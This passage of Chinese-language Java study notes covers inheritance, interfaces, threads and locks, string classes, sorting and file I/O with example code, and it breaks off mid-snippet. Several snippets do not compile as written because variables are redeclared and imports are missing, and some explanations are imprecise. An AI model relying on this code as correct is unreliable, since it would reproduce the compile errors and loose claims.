1. 对象
1.1. 关键字super
在Java类中使用super来调用父类中的指定操作:
super可用于访问父类中定义的属性
super可用于调用父类中定多态义的成员方法
super可用于在子类构造器中调用父类的构造器
注意:
尤其当子父类出现同名成员时,可以用super表明调用的是父类中的成员
super的追溯不仅限于直接父类,间接父类的方法也可以调用
super和this的用法相像,this代表本类对象的引用,super代表父类的内存 空间的标识
package bh.test_package;
public class Person {
private String name;
private int age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public void setAge(int age) {
this.age = age;
}
public int getAge() {
return age;
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public void sayPersonInfo() {
System.out.println("now the person name is " + this.name + ", and the age is " + this.age);
}
}
package bh.test_package;
public class Student extends Person {
private String SchoolName;
private int SchoolId;
public Student(String name, int age, String schoolName, int schoolId) {
super(name, age);
SchoolName = schoolName;
SchoolId = schoolId;
}
public String getSchoolName() {
return SchoolName;
}
public void setSchoolName(String schoolName) {
SchoolName = schoolName;
}
public int getSchoolId() {
return SchoolId;
}
public void setSchoolId(int schoolId) {
SchoolId = schoolId;
}
public void sayStudentInfo() {
System.out.println("now the schoolname is " + this.SchoolName + ", and the schoolId is " + SchoolId);
}
}
package bh.test_package;
public class Ming extends Student{
private int height;
private int weight;
public Ming(String name, int age, String schoolName, int schoolId, int height, int weight) {
super(name, age, schoolName, schoolId);
this.height = height;
this.weight = weight;
}
public int getHeight() {
return height;
}
public void setHeight(int height) {
this.height = height;
}
public int getWeight() {
return weight;
}
public void setWeight(int weight) {
this.weight = weight;
}
public void sayMingInfo(){
super.sayStudentInfo();
super.sayPersonInfo();
}
}
package bh;
import bh.test_package.Benz;
import bh.test_package.Ming;
public class FirstInterface {
public static void main(String[] args) {
Ming ming = new Ming("xiaoming", 22,"haha", 1,180,70);
ming.sayPersonInfo();
ming.sayStudentInfo();
ming.sayMingInfo();
}
}
1.2. 抽象方法
使用abstract
修饰的类无法被直接实例化,可以实例化子类
package bh;
abstract class A {
private String name = "haha";
public A(String name) {
this.name = name;
}
}
class B extends A {
public B(String name) {
super(name);
}
}
public class FirstInterface {
public static void main(String[] args) {
A a = new B("test");
}
}
抽象方法必须写在抽象类中,并且不能有方法体,方法体只能在子类中重写
抽象方法必须声明在抽象类中
抽象方法必须在子类中实现
1.3. 接口
package bh;
import bh.package1.package2.Test;
import bh.package1.package2.Interface_New;
class A{
}
class B extends A implements Test, Interface_New {
@Override
public void sayName() {
System.out.println("now is name");
}
@Override
public void sayNihao() {
System.out.println("now is nihao");
}
}
public class FirstClass {
public static void main(String[] args) {
B b = new B();
b.sayName();
b.sayNihao();
}
}
=========================================================================================
package bh.package1.package2;
public interface Interface_New {
public static final double d = 1.111;
public abstract void sayNihao();
}
=========================================================================================
package bh.package1.package2;
public interface Test {
int id = 1;
void sayName();
// public void run();
// void stop();
// public static final int ID = 1;
// public abstract void start1();
}
1.4. 类和接口
类和接口的区别以及相同点
类:
有构造器
定义成员属性以及成员方法, 需要提供方法体, 抽象类可以定义方法
一次只能继承一个类
接口:
没有构造器
定义常量以及抽象方法, 不需要提供方法体
一个类可以实现多个接口
1.5. 二义性
2. 线程
2.1. 多线程概述
2.1.1. 线程的声明周期
2.1.2. 线程状态转换图
2.2. 实现多线程
2.2.1. 继承Thread库
- 手动调用
run
方法,无效
- 如果想同时开启多个线程,只有重新
new
一个对象,然后调用start()
,不能使用一个对象调用多次start()
方法
2.2.2. 实现Runnable接口
// 打印质数
public class ThreadPrime implements Runnable {
// 1.定义子类,实现Runnable接口
public boolean isPrime(int i) {
for (int i1 = 2; i1 < i; i1++) {
if (i % i1 == 0) return false;
// 如果等于0, 则不满足质数定义,只被1和自身整除
// 如果等于0, 从2到i中,还可以被一个数乘除,返回false,
// 否则确认为质数
}
return true;
}
@Override
// 2.子类中重写Runnable接口中的run方法
public void run() {
for (int i = 2; i < 500; i++) {
if (isPrime(i)) {
System.out.println(Thread.currentThread().getName() + ":" + i);
}
}
}
}
// ======================================================================================
public class ThreadTest {
public static void main(String[] args) {
// 3.通过Thread类含参数构造器创建线程对象
ThreadPrime threadPrime = new ThreadPrime();
// 4.将Runnable接口的子类对象作为实际参数传递给Thread类的构造器中
Thread t1 = new Thread(threadPrime);
// 5.调用Thread类的start方法:开启线程,调用Runnable子类接口的run方法
t1.start();
for (int i = 0; i < 500; i++) {
System.out.println(Thread.currentThread().getName() + ":" + i);
}
}
}
2.2.3. 修改线程名
Thread.currentThread().setName("hahaha");
2.2.4. Thread类的有关方法
2.2.4.1. start()
开启一个新线程
2.2.4.2. run()
将不开启一个新的线程
2.2.4.3. yield()
线程让步
2.2.4.4. join()
- 添加
System.exit()
强制退出
- 使用
join()
强制执行完为止
sleep()
休眠
2.2.5. Thread.currentThread()
2.2.5.1. setName();
设置当前线程名称
2.2.5.2. getName();
获得当前线程名称
2.2.5.3. setPriority();
设置当前线程的优先级
2.2.5.4. getPriority();
获得当前线程的优先级
2.2.5.5. 线程优先级
2.2.6. 守护线程
2.2.7. 匿名方式开启线程
package bh;
class TempClass {
public static void sayThreadInfo() {
System.out.println(Thread.currentThread().getName());
}
}
public class TempTest {
public static void main(String[] args) {
for (int i = 0; i < 10; i++) {
new Thread(new Runnable() {
@Override
public void run() {
TempClass.sayThreadInfo();
}
}).start();
}
}
}
2.2.8. synchronized(对象)
-为了线程安全,引入锁
作用是多线程排队尝试对该对象进行占用,如果发现该对象已经被占用,此时进入阻塞状态进行等待,需要注意此时对象必须是多个线程共享的一个对象
2.2.9. wait()
线程等待特定的时间,可以由超时或者notify或者notifyAll来结束阻塞状态,默认不传值或者传递值为0,相当于必须等待notify,notifyAll来结束阻塞状态
package bh;
//总共100张票, 3个售票窗口
public class Ticket extends Thread {
private static int count = 100;
// 剩余票数
@Override
public synchronized void run() {
// 给某个对象上一把锁, 此时在完成当前任务之前, 不会将对象释放
for (int i = 0; i < 100; i++) {
if (i % 2 == 1) {
System.out.println(Thread.currentThread().getName() + ":" + i);
}
if (i % 10 == 0) {
try {
wait(100);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}
}
2.2.10. notify
与notifyAll
解决wait(0)
导致的阻塞
2.2.10.1. notify
与wait配合使用,需要注意在使用notify的场景下函数名需要为synchronized修饰或者是使用synchronized来包含一个代码块
wait(2000);
等待2秒
package bh;
class TempClass {
public synchronized void sayThreadInfo() {
try {
System.out.println(Thread.currentThread().getName() + "before waiting ----");
wait(2000);
System.out.println(Thread.currentThread().getName() + "after waiting ----");
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
public class TempTest {
public static void main(String[] args) {
TempClass tempClass = new TempClass();
for (int i = 0; i < 10; i++) {
new Thread(new Runnable() {
@Override
public void run() {
tempClass.sayThreadInfo();
}
}).start();
}
}
}
wait(0);
等待无限时间,导致阻塞
package bh;
class TempClass {
public synchronized void sayThreadInfo() {
try {
System.out.println(Thread.currentThread().getName() + "before waiting ----");
wait(0);
System.out.println(Thread.currentThread().getName() + "after waiting ----");
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
public class TempTest {
public static void main(String[] args) {
TempClass tempClass = new TempClass();
for (int i = 0; i < 10; i++) {
new Thread(new Runnable() {
@Override
public void run() {
tempClass.sayThreadInfo();
}
}).start();
}
}
}
notify
与notifyAll
解决阻塞问题
package bh;
class TempClass {
public synchronized void sayThreadInfo() {
try {
System.out.println(Thread.currentThread().getName() + "before waiting ----");
wait(0);
System.out.println(Thread.currentThread().getName() + "after waiting ----");
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
public class TempTest {
public static void main(String[] args) {
TempClass tempClass = new TempClass();
for (int i = 0; i < 10; i++) {
new Thread(new Runnable() {
@Override
public void run() {
tempClass.sayThreadInfo();
}
}).start();
}
synchronized (tempClass){
tempClass.notify();
}
}
}
2.2.10.2. notifyAll
与notify
的区别在于,此时释放掉所有的阻塞的线程
- 单独使用
notify
最多运行两次
- 单独使用
notifyAll
,最多运行十次,只运行了六次
- 使用
notifyAll
时,需要联动Thread.sleep
一起使用,运行十次,一次不少
package bh;
class Test{
public synchronized void sayThreadInfo(){
try {
System.out.println(Thread.currentThread().getName()+": 111");
wait();
System.out.println(Thread.currentThread().getName()+": 222");
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
public class TempTest {
public static void main(String[] args) {
Test test = new Test();
for (int i = 0; i < 10; i++) {
new Thread(new Runnable() {
@Override
public void run() {
test.sayThreadInfo();
}
}).start();
}
try {
Thread.sleep(100);
} catch (InterruptedException e) {
e.printStackTrace();
}
synchronized (test){
test.notifyAll();
}
}
}
2.2.10.3. synchronized
注意点
2.2.11. Lock(锁)
2.2.11.1. synchronized
与Lock
对比
import java.util.concurrent.locks.ReentrantLock;
public class Ticket extends Thread {
private static int total_ticket_count = 100;
// 剩余的票数
private static ReentrantLock lock = new ReentrantLock();
@Override
public void run() {
while (true) {
try {
lock.lock();
if (total_ticket_count > 0) {
System.out.println(Thread.currentThread().getName() + ":第" + (101 - total_ticket_count) + "张票");
total_ticket_count--;
} else {
break;
}
} finally {
lock.unlock();
try {
Thread.sleep(10);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}
}
public class TicketTest {
public static void main(String[] args) {
Ticket ticket1 = new Ticket();
Ticket ticket2 = new Ticket();
Ticket ticket3 = new Ticket();
ticket1.start();
ticket2.start();
ticket3.start();
}
}
3. java
类常见函数
package bh;
import java.util.Locale;
public class StringTest {
public static void main(String[] args) {
String str1 = "hello哈哈";
String str2 = "";
String str3 = " ";
String str4 = "ABcdsfaS'";
System.out.println(str1.length());// 7 length 返回字符串长度
System.out.println(str1.charAt(6));// charAt 返回对应下标的字符
System.out.println(str2.isEmpty());// 是空字符串
System.out.println(str3.isEmpty());// 包含空格的字符串不是空字符串
System.out.println(str4.toLowerCase());// 转换成小写
System.out.println(str4.toUpperCase());// 转换成大写
System.out.println(" haha h a ".trim());// 去除前后的空格
System.out.println(" haha h a ".trim().length());
String str5 = "helloworld";
String str6 = "helloworld";
String str7 = new String("helloworld");
System.out.println(str5 == str6);
System.out.println(str5 == str7);
System.out.println(str5.equals(str7));// 能用equals就尽量不要使用 ==
String str8 = "helloworld";
String str9 = new String("heLLowoRLd");
System.out.println(str8.equalsIgnoreCase(str9));// 忽略大小写的比较
String str1 = "hello";
String str2 = "world";
System.out.println(str1 + str2);
System.out.println(str1.concat(str2));// 连接字符串 与连接符 + 类似
System.out.println(str1.compareTo(str2));// 比较两个字符串大小
/*
* 首字母ascii比较
* 负数 代表左边排右边前面
* 正数 代表右边排左边前面
* 0 代表两者相等
* */
String str1 = "hello";
String str2 = "world";
System.out.println(str1.substring(2, 4));// [2,4)
/*
* substring第一个参数代表从哪个索引开始读取
* 第一个参数代表读取到哪个索引为止(不包含当前索引)
* */
}
}
package bh;
public class StringTest {
public static void main(String[] args) {
String str1 = "helloworldhelloworld";
String str2 = "world";
String str3 = "hello";
System.out.println(str1.endsWith(str2));// 此字符串是否以指定的后缀结束
System.out.println(str1.startsWith(str3));// 此字符串是否以指定的前缀开始
System.out.println(str1.startsWith(str2, 5));// 此字符串从指定索引开始的字符串 是否以指定前缀开始
System.out.println(str1.contains(str2));// 此字符串是否包含字符串
System.out.println(str1.indexOf(str2));// 5 返回指定字符串在此字符串中第一次出现处的索引
System.out.println(str1.indexOf(str2, 6));// 15 返回指定字符串在此字符串中第一次出现处的索引,从指定索引开始
System.out.println(str1.lastIndexOf(str2));// 15
System.out.println(str1.lastIndexOf(str2, 16));
}
}
package bh;
import java.util.Arrays;
public class StringTest {
public static void main(String[] args) {
String str1 = "helloworldhelloworld";
String str2 = "world";
System.out.println(str1.replace(str2, "haha"));// 将newChar替换此字符串中出现的所有oldChar,得到一个新的字符串
System.out.println(str1.replace(".*", "111222"));
System.out.println(str1.replaceAll(".*", "111"));
System.out.println(Arrays.toString(str1.split("l")));
System.out.println(Arrays.toString(str1.split("l", 3)));
// limit 代表最多分割成多少份
}
}
3.1. java.lang.StringBuffer
库
3.1.1. 类
3.1.2. 方法
- 方法
package bh;
import java.util.Arrays;
public class StringTest {
public static void main(String[] args) {
String normal_string = "helloworld";
String to_be_replaced_string = "world";
String res = normal_string.replaceAll(to_be_replaced_string, "hahaha");
System.out.println(normal_string);// helloworld
System.out.println(res);// hellohahaha
StringBuffer stringBuffer = new StringBuffer();
stringBuffer.append("nihao");
System.out.println(stringBuffer);// nihao
stringBuffer.replace(1,3,"0000000");
System.out.println(stringBuffer);// n0000000ao
stringBuffer.insert(2, "@@@@");
System.out.println(stringBuffer);// n0@@@@000000ao
System.out.println(stringBuffer.reverse());// oa000000@@@@0n
}
}
- 方法链
- 方法
package bh;
import java.util.Arrays;
public class StringTest {
public static void main(String[] args) {
StringBuffer stringBuffer = new StringBuffer();
stringBuffer.append("helloworld");
System.out.println(stringBuffer.indexOf("world"));
// 返回指定字符串在我们目标字符串中的索引位置
System.out.println(stringBuffer.indexOf("world111"));
// 如果指定字符串查询不到,返回-1
stringBuffer.setCharAt(0, 'o');
System.out.println(stringBuffer);
// 修改下标为0的所在字符为'o'
System.out.println(stringBuffer.substring(1, 6));
// ellow 取出指定位置的多个字符
System.out.println(stringBuffer.length());
// 字符长度
System.out.println(stringBuffer.charAt(5));
// w 取出指定位置单个字符
}
}
3.1.3. 函数
3.2. java.lang.Comparable库
3.2.1. Comparable排序接口
3.2.2. 方法
3.2.2.1. 方式一:
- 提示Person类不是一个可以比较的类
- 实现
Comparable
接口,重写compareTo
方法
package bh;
import java.util.Comparator;
public class Person implements Comparable {
private String name;
private int age;
private String address;
public Person(String name, int age, String address) {
this.name = name;
this.age = age;
this.address = address;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String getAddress() {
return address;
}
public void setAddress(String address) {
this.address = address;
}
/*
* 实现 Comparable 的类必须实现 compareTo(Object obj) 方法,
* 两个对象即 通过 compareTo(Object obj) 方法的返回值来比较大小。
* 如果当前对象this大 于形参对象obj,则返回正整数,
* 如果当前对象this小于形参对象obj,则返回 负整数,
* 如果当前对象this等于形参对象obj,则返回零。
* */
@Override
public int compareTo(Object o) {
if (o instanceof Person) {
Person temp = (Person) o;
return this.getAge() < temp.getAge() ? -1 : 1;
}
return -1;
}
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
", address='" + address + '\'' +
'}';
}
}
package bh;
import java.util.Arrays;
public class StringTest {
public static void main(String[] args) {
Person person1 = new Person("person1", 169, "haha");
Person person2 = new Person("person2", 10, "qqqqq");
Person person3 = new Person("person3", 99, "9999");
Person array[] = new Person[]{person1, person2, person3};
Arrays.sort(array);
// 排序
System.out.println(Arrays.toString(array));
}
}
3.2.2.2. 方式二:
package bh;
import java.util.Comparator;
import java.util.Objects;
public class Person{
private String name;
private int age;
private String address;
public Person(String name, int age, String address) {
this.name = name;
this.age = age;
this.address = address;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String getAddress() {
return address;
}
public void setAddress(String address) {
this.address = address;
}
/*
* 实现 Comparable 的类必须实现 compareTo(Object obj) 方法,
* 两个对象即 通过 compareTo(Object obj) 方法的返回值来比较大小。
* 如果当前对象this大 于形参对象obj,则返回正整数,
* 如果当前对象this小于形参对象obj,则返回 负整数,
* 如果当前对象this等于形参对象obj,则返回零。
* */
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
", address='" + address + '\'' +
'}';
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Person person = (Person) o;
// return age == person.age && Objects.equals(name, person.name) && Objects.equals(address, person.address);
return age == person.age;
}
@Override
public int hashCode() {
// return Objects.hash(name, age, address);
return Objects.hash(age);
}
}
package bh;
import java.util.Arrays;
import java.util.Comparator;
public class StringTest {
public static void main(String[] args) {
Person person1 = new Person("person1", 169, "haha");
Person person2 = new Person("person2", 10, "qqqqq");
Person person3 = new Person("person3", 99, "9999");
Person PersonArray[] = new Person[]{person1, person2, person3};
Arrays.sort(PersonArray, new Comparator<Person>() {
@Override
public int compare(Person o1, Person o2) {
return o1.getAge() < o2.getAge() ? -1 : 1;
}
});
System.out.println(Arrays.toString(PersonArray));
}
}
3.3. java.lang.Math库
3.3.1. Math内置类
package bh;
import java.util.Arrays;
import java.util.Comparator;
public class StringTest {
public static void main(String[] args) {
double mum1 = -10;
System.out.println(Math.abs(mum1));
System.out.println(Math.sqrt(8));
System.out.println(Math.pow(3, 3));
System.out.println(Math.max(10, 20));
System.out.println(Math.min(10, 20));
System.out.println(Math.round(-10.111));
// round 四舍五入
System.out.println(Math.floor(-10.111));
// floor 向下取整
}
}
4. java_IO
4.1. File类
4.2. 常用构造器
4.3. 路径分隔符
package bh;
import java.io.File;
import java.util.Arrays;
import java.util.Comparator;
public class StringTest {
public static void main(String[] args) {
// File file = new File("C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\haha.txt");
// System.out.println(file);
String path = "C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\haha.txt";
path = path.replace("\\", File.separator);
// File.separator 的作用相当于 '\'
File file = new File(path);
System.out.println(path);
}
}
4.4. 常用方法
4.4.1. 获取功能
当传递值为具体文件时,此时显示的是文件的大小,并且无列出的目录;而如果传递的路径指向一个目录,此时通过list和listfiles可以分别列出改目录下的文件名以及改目录下的文件的绝对路径.
- 文件名
package bh;
import java.io.File;
import java.util.Arrays;
public class StringTest {
public static void main(String[] args) {
String path = "C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\haha.txt";
path = path.replace("\\", File.separator);
File file = new File(path);
// System.out.println(path);
// ******
System.out.println(file.getAbsolutePath());// 获得绝对路径
System.out.println(file.getPath());// 获得路径
System.out.println(file.getName());// 获得名称
System.out.println(file.getParent());// 获得上层文件目录
System.out.println(file.length());// 获得文件内容长度
// ******
System.out.println(Arrays.toString(file.list()));// 获得指定目录下所有文件的集合
Arrays.toString(file.listFiles());// 获得指定目录下所有文件的集合
/*
* File类的获取功能
* public String getAbsolutePath():获取绝对路径
* public String getPath() :获取路径
* public String getName() :获取名称
* public String getParent():获取上层文件目录路径。若无,返回null
* public long length() :获取文件内容长度(即:字节数)。不能获取目录的长度。
* public long lastModified() :获取最后一次的修改时间,毫秒值
*
* public String[] list() :获取指定目录下的所有文件或者文件目录的名称数组
* public File[] listFiles() :获取指定目录下的所有文件或者文件目录的File数组
* */
}
}
- 目录
package bh;
import java.io.File;
import java.util.Arrays;
public class StringTest {
public static void main(String[] args) {
String path = "C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\";
path = path.replace("\\", File.separator);
File file = new File(path);
// System.out.println(path);
// ******
System.out.println(file.getAbsolutePath());// 获得绝对路径
System.out.println(file.getPath());// 获得路径
System.out.println(file.getName());// 获得名称
System.out.println(file.getParent());// 获得上层文件目录
System.out.println(file.length());// 获得文件内容长度
// ******
System.out.println(Arrays.toString(file.list()));// 获得指定目录下所有文件的集合
System.out.println(Arrays.toString(file.listFiles()));// 获得指定目录下所有文件的集合
/*
* File类的获取功能
* public String getAbsolutePath():获取绝对路径
* public String getPath() :获取路径
* public String getName() :获取名称
* public String getParent():获取上层文件目录路径。若无,返回null
* public long length() :获取文件长度(即:字节数)。不能获取目录的长度。
* public long lastModified() :获取最后一次的修改时间,毫秒值
*
* public String[] list() :获取指定目录下的所有文件或者文件目录的名称数组
* public File[] listFiles() :获取指定目录下的所有文件或者文件目录的File数组
* */
}
}
4.4.2. 重命名功能
注意: 需要注意传递一个File类型的对象而不是一个path的路径字符串
package bh;
import java.io.File;
public class StringTest {
public static void main(String[] args) {
String path = "C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\haha.txt";
path = path.replace("\\", File.separator);
File file = new File(path);
// System.out.println(path);
// ******
file.renameTo(new File("C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\test.txt"));
/*
* File类的重命名功能
* public boolean renameTo(File dest):把文件重命名为指定的文件路径
* */
}
}
4.4.3. 判断功能
package bh;
import java.io.File;
public class StringTest {
public static void main(String[] args) {
String path = "C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\test.txt";
path = path.replace("\\", File.separator);
File file = new File(path);
// System.out.println(path);
// ******
System.out.println(file.isDirectory());// 是否是目录 false
System.out.println(file.isFile());// 是否是文件 true
System.out.println(file.exists());// 是否存在 true
System.out.println(file.canRead());// 是否可读 true
System.out.println(file.canWrite());// 是否可写 true
System.out.println(file.isHidden());// 当前文件是否已经隐藏 false
/*
* File类的判断功能
* public boolean isDirectory():判断是否是文件目录
* public boolean isFile() :判断是否是文件
* public boolean exists() :判断是否存在
* public boolean canRead() :判断是否可读
* public boolean canWrite() :判断是否可写
* public boolean isHidden() :判断是否隐藏
* */
}
}
4.4.4. 创建功能
- 文件
package bh;
import java.io.File;
import java.io.IOException;
public class StringTest {
public static void main(String[] args) {
String path = "C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\111.txt";
path = path.replace("\\", File.separator);
File file = new File(path);
try {
System.out.println(file.createNewFile());
// createNewFile创建一个文件,如果该文件名所对应的文件已经存在,此时直接返回false.
} catch (IOException e) {
e.printStackTrace();
}
}
}
- 目录
mkdir
package bh;
import java.io.File;
import java.io.IOException;
public class StringTest {
public static void main(String[] args) {
String path = "C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\haha\\1\\1\\1";
path = path.replace("\\", File.separator);
File file = new File(path);
System.out.println(file.mkdir());
// 使用mkdir创建一个目录,如果创建成功,返回值为true
// mkdir只能创建一级目录,所以如果他的parent目录不存在此时也将无法成功的创建目录
}
}
- 目录
mkdirs
package bh;
import java.io.File;
import java.io.IOException;
public class StringTest {
public static void main(String[] args) {
String path = "C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\haha\\1\\1\\1";
path = path.replace("\\", File.separator);
File file = new File(path);
System.out.println(file.mkdirs());
// 可以使用mkdirs创建多级目录
}
}
4.4.5. 删除功能
package bh;
import java.io.File;
import java.io.IOException;
public class StringTest {
public static void main(String[] args) {
String path = "C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\haha\\";
path = path.replace("\\", File.separator);
File file = new File(path);
System.out.println(file.delete());
// 当使用delete删除目录时,如果该目录不为空,此时无法删除该目录,需要先删除该目录下的所有其他文件以及目录
}
}
4.5. java IO原理
4.6. 流的分类
4.6.1. 增删改查
FileInputStream
用于读取非文本数据之类的原始字节流FileReader
要读取字符流
package bh;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
/*
* 1.利用File构造器,new 一个文件目录file
* 1).在其中创建多个文件和目录
* 2).编写方法,实现删除file中指定文件的操作
* 2.判断指定目录下是否有后缀名为.jpg的文件,如果有,就输出该文件名称
* 3.遍历指定目录所有文件名称,包括子文件目录中的文件
* 拓展1:并计算指定目录占用空间的大小
* 拓展2:删除指定文件目录及其下的所有文件
* */
public class StringTest {
public static void printRelatedInfo(String path) {
File file = new File(path);
if (file.isDirectory()) {
System.out.println("now the is dir \"" + file.getAbsolutePath() + "\", and the length is :" + file.length());
String[] fileNames = file.list();
for (String filename :
fileNames) {
StringTest.printRelatedInfo(file.getAbsolutePath() + File.separator + filename);
}
} else if (file.isFile()) {
System.out.println("now the is file \"" + file.getAbsolutePath() + "\", and the length is :" + file.length());
}
}
public static void printJpgFiles(String path) {
File dir = new File(path);
if (dir.isDirectory()) {
if (dir.exists()) {
String[] dirNames = dir.list();
for (String filename :
dirNames) {
if (filename.endsWith(".jpg")) {
System.out.println(dir.getAbsolutePath() + File.separator + filename);
}
}
}
}
}
public static void deleteAllFiles(String path) {
File file = new File(path);
// 需要删除的文件
if (file.isFile()) {
if (file.exists()) {
file.delete();
}
} else if (file.isDirectory()) {
if (file.exists()) {
String prefix = file.getAbsolutePath();
// 获得绝对路径
String[] fileList = file.list();
// 获得文件列表
for (String file_temp :
fileList) {
deleteAllFiles(prefix + File.separator + file_temp);
}
file.delete();
}
}
}
public static void generateRandomFiles(String path) {
File file = new File(path);
String filedirs[] = new String[]{"111", "222", "333"};
for (String file_temp :
filedirs) {
new File(file.getAbsolutePath() + File.separator + file_temp).mkdirs();
}
String filenames[] = new String[]{"1.txt", "2.txt", "3.txt", "1.jpg", "2.jpg"};
for (String file_temp :
filenames) {
try {
new File(file.getAbsolutePath() + File.separator + file_temp).createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
}
}
public static void main(String[] args) throws IOException {
// IOException 可能抛出异常的声明
//
// StringTest.generateRandomFiles("C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\test1\\");
// 在其中创建多个文件和目录
// StringTest.deleteAllFiles("C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\test1\\");
// 编写方法,实现删除file中指定文件的操作
// 删除指定文件目录及其下的所有文件
// StringTest.printJpgFiles("C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\test1\\");
// 判断指定目录下是否有后缀名为.jpg的文件,如果有,就输出该文件名称
// StringTest.printRelatedInfo("C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\test1\\");
// 遍历指定目录所有文件名称,包括子文件目录中的文件
// 并计算指定目录占用空间的大小
// 查
File file = new File("C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\test1\\1.txt");
if (file.canRead()) {
// canRead 判断是否可读
byte[] bytes = new byte[1024];
// 理论最大一次读取的字节数
int realReadBytesNum;
// 实际读取的字节数
FileInputStream fileInputStream = new FileInputStream(file);
// System.out.println(new String(bytes, 0, fileInputStream.read(bytes)));
while ((realReadBytesNum = fileInputStream.read(bytes)) != -1) {
System.out.println(new String(bytes, 0, realReadBytesNum));
}
}
// 改
File file_to_write = new File("C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\test1\\1.txt");
// 1.通过使用FileOutputStream向特定的文件中写入字节流
FileOutputStream fileOutputStream = new FileOutputStream(file_to_write);
// byte[] bytes_to_write = new byte[]{'a', 'b', 'c', 'd'};
String str = "helloworld";
byte[] bytes_to_write = str.getBytes(StandardCharsets.UTF_8);
// 字符串转变为字节
fileOutputStream.write(bytes_to_write);
fileOutputStream.close();
// 2.使用FileWriter类写入
FileWriter fileWriter = new FileWriter(file_to_write);
fileWriter.write("2023.8.22222222-贰零贰叁年捌月贰拾贰日");
fileWriter.close();
}
}
4.6.2. 读取写入
字节流读取:FileInputStream
,字符流读取:FileReader
字节流写入:FileOutputStream
,字符流写入:FileWriter
package bh;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
public class StringTest {
public static void main(String[] args) throws IOException {
File file = new File("C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\test1\\1.txt");
if (file.canRead()) {
// canRead 判断是否可读
byte[] bytes = new byte[1024];
// 理论最大一次读取的字节数
int realReadBytesNum;
// 实际读取的字节数
FileInputStream fileInputStream = new FileInputStream(file);
// System.out.println(new String(bytes, 0, fileInputStream.read(bytes)));
while ((realReadBytesNum = fileInputStream.read(bytes)) != -1) {
System.out.println(new String(bytes, 0, realReadBytesNum));
}
}
// 改
File file_to_write = new File("C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\test1\\1.txt");
// 1.通过使用FileOutputStream向特定的文件中写入字节流
FileOutputStream fileOutputStream = new FileOutputStream(file_to_write);
// byte[] bytes_to_write = new byte[]{'a', 'b', 'c', 'd'};
String str = "helloworld";
byte[] bytes_to_write = str.getBytes(StandardCharsets.UTF_8);
// 字符串转变为字节
fileOutputStream.write(bytes_to_write);
fileOutputStream.close();
// 2.使用FileWriter类写入
FileWriter fileWriter = new FileWriter(file_to_write);
fileWriter.write("2023.8.22222222-贰零贰叁年捌月贰拾贰日");
fileWriter.close();
}
}
4.6.3. 复制
4.6.3.1. 字节流
package bh;
import java.io.*;
public class StringTest {
public static void copyBytesFromToFile(String fromFilePath, String toFilePath) throws IOException {
/*
* 先确保第一个文件可以正常打开
* */
File file_to_read = new File(fromFilePath);// 将要读取的文件
File file_to_write = new File(toFilePath);// 要写入的文件File对象
if (file_to_read.isFile() && file_to_read.canRead()) {
FileInputStream fileInputStream = new FileInputStream(file_to_read);// 尝试读取数据
FileOutputStream fileOutputStream = new FileOutputStream(file_to_write);// 要写入文件的字节流
byte[] bytes = new byte[1024];
int realReadBytesNum = 0;
// 写入
while ((realReadBytesNum = fileInputStream.read(bytes)) != -1) {
fileOutputStream.write(bytes, 0, realReadBytesNum);
}
fileInputStream.close();
fileOutputStream.close();
}
return;
}
public static void main(String[] args) throws IOException {
/*
* 复制第一个参数文件的内容写入到第二个文件里面
* */
// 字节流
StringTest.copyBytesFromToFile("C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\test1\\calc.exe", "C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\test1\\calc_new.exe");
}
}
4.6.3.2. 字符流
package bh;
import java.io.*;
public class StringTest {
public static void copyCharsFromToFile(String fromFilePath, String toFilePath) throws IOException {
File file_to_read = new File(fromFilePath);// 将要读取的文件
File file_to_write = new File(toFilePath);// 要写入的文件File对象
if (file_to_read.isFile() && file_to_read.canRead()) {
FileReader fileInputStream = new FileReader(file_to_read);// 尝试读取数据
